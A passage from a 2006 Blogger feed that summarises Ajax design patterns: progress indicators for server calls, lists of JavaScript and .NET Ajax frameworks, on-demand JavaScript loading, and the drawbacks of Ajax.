"throbber" (that is, the icon that normally shows loading activity, such as the "e" at the top-right of IE) will not throb. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;There's a geographical component to server call delays. To provide good feedback, you should provide an idea of which page elements are affected. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Users like to feel in control, and that control is taken away when the user's waiting for a response. It's not just the delay that should be minimised, but the &lt;b&gt;perceived&lt;/b&gt; delay. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Indicate the progress of server calls. You can't always reduce delay, but you can adopt Progress Indicator to ease the pain. A Progress Indicator helps maintain the user's attention, improves the user's understanding of how the system works, and also communicates that the system is still alive even if a response hasn't yet occurred.  &lt;p align="left"&gt;The progress indicator is typically introduced to the DOM once an &lt;a href="http://ajaxpatterns.org/XMLHttpRequest_Call"&gt;XMLHttpRequest Call&lt;/a&gt; begins and removed when the call has returned. The easiest way to detect the call has returned is in the XMLHttpRequest callback function. An indicator need not relate to a single call - it can show progress for a sequence of related calls.  &lt;p align="left"&gt;Sometimes, it's a &lt;a href="http://ajaxpatterns.org/Popup"&gt;Popup&lt;/a&gt; element instead of a new element directly on the page. An increasingly popular idiom is a small opaque &lt;a href="http://ajaxpatterns.org/Popup"&gt;Popup&lt;/a&gt; on the corner of the page showing just a word or two.  &lt;p align="left"&gt;For shorter delays, typical progress indicators include:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;A small message like "Updating document". &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;An animated icon. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;For longer delays, the following can be used:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;A meter showing how much progress has been made. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;An estimate of time remaining. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;A sequence of messages indicating what's happening at present. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Content that's engaging but not directly related to the progress, such as Tip of the Day or a canned graphical depiction of system activity. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Of course, you can combine these approaches. Generally speaking, some form of unobtrusive animation is worthwhile in any Progress Indicator, because it at least tells the user something's happening, even if progress is temporarily stuck. In addition, longer delays should usually be completed with a visual effect such as &lt;a href="http://ajaxpatterns.org/One-Second_Spotlight"&gt;One-Second Spotlight&lt;/a&gt;, since the user's focus has probably moved elsewhere by that stage.  &lt;p align="left"&gt;Note that one form of indicator to &lt;b&gt;avoid&lt;/b&gt; is changing the cursor. Many traditional GUIs switch over to a "rotating hourglass" or related icon during delays. That's probably inappropriate for Ajax, because it's something the actual browser software will does it too, e.g. while loading a new page, so it's likely to create confusion.  &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Progress_Indicator" target="_blank"&gt;this link&lt;/a&gt; for more information &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/progress+indicator"&gt;progress indicator&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax+applications"&gt;ajax applications&lt;/a&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831210574313750?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831210574313750/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831210574313750' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831210574313750'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831210574313750'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/ajax-progress-indicator-for-server.html' title='AJAX Progress Indicator for server responses'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831185278569256</id><published>2006-09-15T14:47:00.000+05:30</published><updated>2006-09-15T14:47:32.790+05:30</updated><title type='text'>Javascript Multipurpose Frameworks</title><content type='html'>&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#ActiveWidgets_.28from_2003.29"&gt;1 ActiveWidgets (from 2003)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#AjaxFace_.28from_2005.29"&gt;2 AjaxFace (from 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Backbase_.28from_2003.29"&gt;3 Backbase (from 2003)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Bindows_.28from_2003.29"&gt;4 Bindows (from 2003)&lt;/a&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Charting_.26_Vector_Graphics"&gt;4.1 Charting &amp;amp; Vector Graphics&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Section-508_Accessibility"&gt;4.2 Section-508 Accessibility&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Internationalization_.26_Localization"&gt;4.3 Internationalization &amp;amp; Localization&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Next_Major_Release"&gt;4.4 Next Major Release&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Versions"&gt;4.5 Versions&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Adds-on_Tools"&gt;4.6 Adds-on Tools&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#External_links"&gt;4.7 External links&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#crossvision_Application_Composer_.28from_July_2006.29"&gt;5 crossvision Application Composer (from July 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#crossvision_Application_Designer_.28from_July_2006.29"&gt;6 crossvision Application Designer (from July 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#DOJO_.28Under_development.3B_from_September.2C_2004.29"&gt;7 DOJO (Under development; from September, 2004)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#eBusiness_Applications_.28EBA.29_Ajax_Components._.28Since_2002.29"&gt;8 eBusiness Applications (EBA) Ajax Components. (Since 2002)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Engine_for_Web_Applications_.28Since_2002.29"&gt;9 Engine for Web Applications (Since 2002)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Freja_.28from_2006.29"&gt;10 Freja (from 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#JackBe_.28From_2002.29"&gt;11 JackBe (From 2002)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Javeline_FrameWork_.28evolved_from_vcXMLRPC.2C_from_Aug_2000.29"&gt;12 Javeline FrameWork (evolved from vcXMLRPC, from Aug 2000)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#JsLINB_-_Javascript_framework_of_LINB_.28since_2006.29"&gt;13 JsLINB - Javascript framework of LINB (since 2006)&lt;/a&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Features"&gt;13.1 Features&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Online_Demos"&gt;13.2 Online Demos&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#JsRia_-_Javascript_Rich_Internet_Application_.28since_2005.29"&gt;14 JsRia - Javascript Rich Internet Application (since 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Macao_-_The_Web_Animation_Framework_.28developed_since_2000_published_2005.29"&gt;15 Macao - The Web Animation Framework (developed since 2000 published 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#MochiKit_.28from_2005.29"&gt;16 MochiKit (from 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Open_Rico_.28Under_development.3B_from_May.2C_2005.3B_based_on_earlier_proprietary_framework.29"&gt;17 Open Rico (Under development; from May, 2005; based on earlier proprietary framework)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Plex_Toolkit_.28Open_Source_RIA_Framework_and_GUI_Toolkit.29"&gt;18 Plex Toolkit (Open Source RIA Framework and GUI Toolkit)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Prototype_.28From_2005.29"&gt;19 Prototype (From 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#jQuery_.28From_2005.29"&gt;20 jQuery (From 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#qooxdoo_.28Under_development.3B_from_May.2C_2005.29"&gt;21 qooxdoo (Under development; from May, 2005)&lt;/a&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Facts"&gt;21.1 Facts&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#From_the_developer.27s_view"&gt;21.2 From the developer's view&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Optimized_for_AJAX"&gt;21.3 Optimized for AJAX&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Security"&gt;21.4 Security&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Script.aculo.us_.28from_2005.29"&gt;22 Script.aculo.us (from 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#SmartClient__.28commercial_AJAX_RIA_system_since_2000.29"&gt;23 SmartClient (commercial AJAX RIA system since 2000)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#ThyAPI_.28Under_development.3B_Since_end_of_2004.29"&gt;24 ThyAPI (Under development; Since end of 2004)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#TIBCO_General_Interface_.28Commercial_and_free_AJAX_RIA_Framework_and_IDE_since_2001.29_Update_Feb.06"&gt;25 TIBCO General Interface (Commercial and free AJAX RIA Framework and IDE since 2001) Update Feb.06&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Interactive_Website_Framework_.28from_May_2005.29"&gt;26 Interactive Website Framework (from May 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#TIBET_.28Early_Access_Releases_available.3B_from_July.2C_1999.29"&gt;27 TIBET (Early Access Releases available; from July, 1999)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#UI4W_.28from_2006.29"&gt;28 UI4W (from 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Yahoo.21_User_Interface_Library_.28YUI.29"&gt;29 Yahoo! User Interface Library (YUI)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#WinLIKE_-_a_real_Window_Manager_for_the_Web"&gt;30 WinLIKE - a real Window Manager for the Web&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Zimbra_AjaxTK_.28Commercial-OpenSource_RIA_Toolkit.29"&gt;31 Zimbra AjaxTK (Commercial-OpenSource RIA Toolkit)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks#Subsys_JsHttpRequest"&gt;32 Subsys_JsHttpRequest&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/Javascript_Multipurpose_Frameworks" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frameworks"&gt;frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/javascript+frameworks"&gt;javascript frameworks&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831185278569256?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831185278569256/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831185278569256' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831185278569256'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831185278569256'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/javascript-multipurpose-frameworks.html' title='Javascript Multipurpose Frameworks'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831166580268385</id><published>2006-09-15T14:44:00.000+05:30</published><updated>2006-09-15T14:44:25.806+05:30</updated><title type='text'>On Demand Javascript Lazy loading</title><content type='html'>&lt;p align="left"&gt;Download Javascript as and when required, instead of downloading it all on page load. This is a "lazy loading" approach applied to Javascript, and has several benefits:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;Initial page load is faster. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Overall bandwidth usage is less, since only Javascript that's required is used. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;Deployment is easier as the code takes care of pulling in Javascript, with the coder only ensuring enough is there to kick the process off. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;You can produce snippets of Javascript on the fly - effectively sending back a kind of "behaviour message" advising the browser on its next action. This is a variant of the core pattern described at the end of this section. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;You can bypass the standard "same-domain" policy that normally necessitates a &lt;a href="http://ajaxpatterns.org/Cross-Domain_Proxy"&gt;Cross-Domain Proxy&lt;/a&gt;. Provided a server exposes a segment of valid Javascript, it can be extracted by the browser. &lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Conventionally, best practice has been to include Javascript unobtrusively - by including it in one or more &lt;tt&gt;script&lt;/tt&gt; tags.  &lt;div align="left"&gt;&lt;pre&gt; &lt;font color="#ff8000"&gt; &amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;head&amp;gt;&lt;br /&gt;      &amp;lt;script type="text/javascript" src="search.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;script type="text/javascript" src="validation.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;script type="text/javascript" src="visuals"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;    &amp;lt;/head&amp;gt;&lt;br /&gt;    ...&lt;br /&gt;  &amp;lt;/html&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;On-Demand Javascript builds on this approach to suggest just a minimal initialisation module in the initial HTML: &lt;br /&gt;&lt;div align="left"&gt;&lt;pre&gt; &lt;font color="#ff8000"&gt; &amp;lt;html&amp;gt;&lt;br /&gt;    &amp;lt;head&amp;gt;&lt;br /&gt;      &amp;lt;script type="text/javascript" src="init.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;    &amp;lt;/head&amp;gt;&lt;br /&gt;    ...&lt;br /&gt;  &amp;lt;/html&amp;gt;&lt;/font&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;p align="left"&gt;The initialisation module declares whatever behaviour is required to start up the page and perhaps enough to cover typical usage. In addition, it must perform a bootstrapping function, pulling down new Javascript on demand. &lt;br /&gt;&lt;p align="left"&gt;visit &lt;a href="http://ajaxpatterns.org/On-Demand_Javascript" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;br /&gt;&lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/javascript"&gt;javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/lazy+loading"&gt;lazy loading&lt;/a&gt;, &lt;a href="http://technorati.com/tag/on+demand+javascript"&gt;on demand javascript&lt;/a&gt;, &lt;a href="http://technorati.com/tag/page+load"&gt;page load&lt;/a&gt;, &lt;a href="http://technorati.com/tag/browser"&gt;browser&lt;/a&gt;, &lt;a href="http://technorati.com/tag/best+practice"&gt;best practice&lt;/a&gt;&lt;br /&gt;&lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831166580268385?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831166580268385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831166580268385' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831166580268385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831166580268385'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/on-demand-javascript-lazy-loading.html' title='On Demand Javascript Lazy loading'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831149648514506</id><published>2006-09-15T14:41:00.000+05:30</published><updated>2006-09-15T14:41:36.490+05:30</updated><title type='text'>.NET AJAX Frameworks</title><content type='html'>&lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Ajax.NET_Professional_for_ASP.NET_1.x.2F2.0_.28from_April_2005.29"&gt;1 Ajax.NET Professional for ASP.NET 1.x/2.0 (from April 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Ajaxium_-_AJAX.2C_ASP.NET_1.x.2F2.0_.28from_January_2006.29"&gt;2 Ajaxium - AJAX, ASP.NET 1.x/2.0 (from January 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Anthem.Net_for_ASP.NET_1.x.2F2.0"&gt;3 Anthem.Net for ASP.NET 1.x/2.0&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#AjaxAspects"&gt;4 AjaxAspects&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Atlas_.28from_late_2005.29"&gt;5 Atlas (from late 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Bitkraft_for_ASP.NET"&gt;6 Bitkraft for ASP.NET&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#ComfortASP.NET_for_ASP.NET_1.1.2F2.0_-_AJAX_for_all"&gt;7 ComfortASP.NET for ASP.NET 1.1/2.0 - AJAX for all&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Dart_PowerWEB_LiveControls"&gt;8 Dart PowerWEB LiveControls&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#emergetk_--_the_emerge_toolkit"&gt;9 emergetk -- the emerge toolkit&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#FastPage_-_AJAX_for_Laziness_ASP.NET_developers"&gt;10 FastPage - AJAX for Laziness ASP.NET developers&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#MagicAjax.NET_.28from_September_2005.29"&gt;11 MagicAjax.NET (from September 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#MonoRail_.28from_May_2005.29"&gt;12 MonoRail (from May 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Telerik_radControls_.28from_April_2006.29"&gt;13 Telerik radControls (from April 2006)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#WebORB_for_.NET_.28from_August_2005.29"&gt;14 WebORB for .NET (from August 2005)&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#zumiPage:_Easy_AJAX_for_ASP.NET"&gt;15 zumiPage: Easy AJAX for ASP.NET&lt;/a&gt;&lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks#Visual_WebGUI:_WinForms_over_Web_creating_rich_AJAX_applications"&gt;16 Visual WebGUI: WinForms over Web creating rich AJAX applications&lt;/a&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt; &lt;p align="left"&gt;Visit &lt;a href="http://ajaxpatterns.org/DotNet_Ajax_Frameworks" target="_blank"&gt;this link&lt;/a&gt; for more information&lt;/p&gt; &lt;p align="left"&gt;Tags: &lt;a href="http://technorati.com/tag/.net"&gt;.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax"&gt;ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/.net+ajax"&gt;.net ajax&lt;/a&gt;, &lt;a href="http://technorati.com/tag/.net+ajax+frameworks"&gt;.net ajax frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/frameworks"&gt;frameworks&lt;/a&gt;, &lt;a href="http://technorati.com/tag/ajax.net"&gt;ajax.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/asp.net"&gt;asp.net&lt;/a&gt;, &lt;a href="http://technorati.com/tag/fastpage"&gt;fastpage&lt;/a&gt;&lt;/p&gt; &lt;p align="left"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9561783-115831149648514506?l=eshwar123.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eshwar123.blogspot.com/feeds/115831149648514506/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9561783&amp;postID=115831149648514506' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831149648514506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9561783/posts/default/115831149648514506'/><link rel='alternate' type='text/html' href='http://eshwar123.blogspot.com/2006/09/net-ajax-frameworks.html' title='.NET AJAX Frameworks'/><author><name>eshwar</name><uri>http://www.blogger.com/profile/00372561741462677869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9561783.post-115831131879701035</id><published>2006-09-15T14:38:00.000+05:30</published><updated>2006-09-15T14:38:38.796+05:30</updated><title type='text'>Disadvantages or Downsides of AJAX</title><content type='html'>&lt;p align="left"&gt;Ajax is a trade-off. Any developer considering its adoption should be aware of the downsides, such as:  &lt;ul&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Limited Capabilities:&lt;/b&gt; Some Ajax applications are certainly doing things people never dreamed were possible on the web, but there are still substantial restrictions of the web platform. For example: multimedia capabilities, local data storage, real-time graphics, interaction with hardware such as printers and webcams. Support for some of these are improving in recent browsers, some can be achieved by delegating to Flash, but many are simply not possible, and if required, would rule out Ajax. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Performance Concerns:&lt;/b&gt; Constant interaction between browser and server can make an application feel unresponsive. There are, however, quite a few well-known patterns for performance optimisation such as browser-side caching. These usually suffice, even for fast-paced applications like stock trading, but Ajax still might not work for really time-critical applications such as machine control. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Internet Access Required:&lt;/b&gt; The user can't access an Ajax application in the absence of a network connection. &lt;/div&gt; &lt;li&gt; &lt;div align="left"&gt;&lt;b&gt;Second Programming Language:&lt;/b&gt; Serious Ajax applications require some knowledge of Javascript. Many developers are discovering that Javascript is actually a more capable language than at first assumed, but there is nevertheless an imposition to use a language different to that on the server-side. &lt;/div&gt; 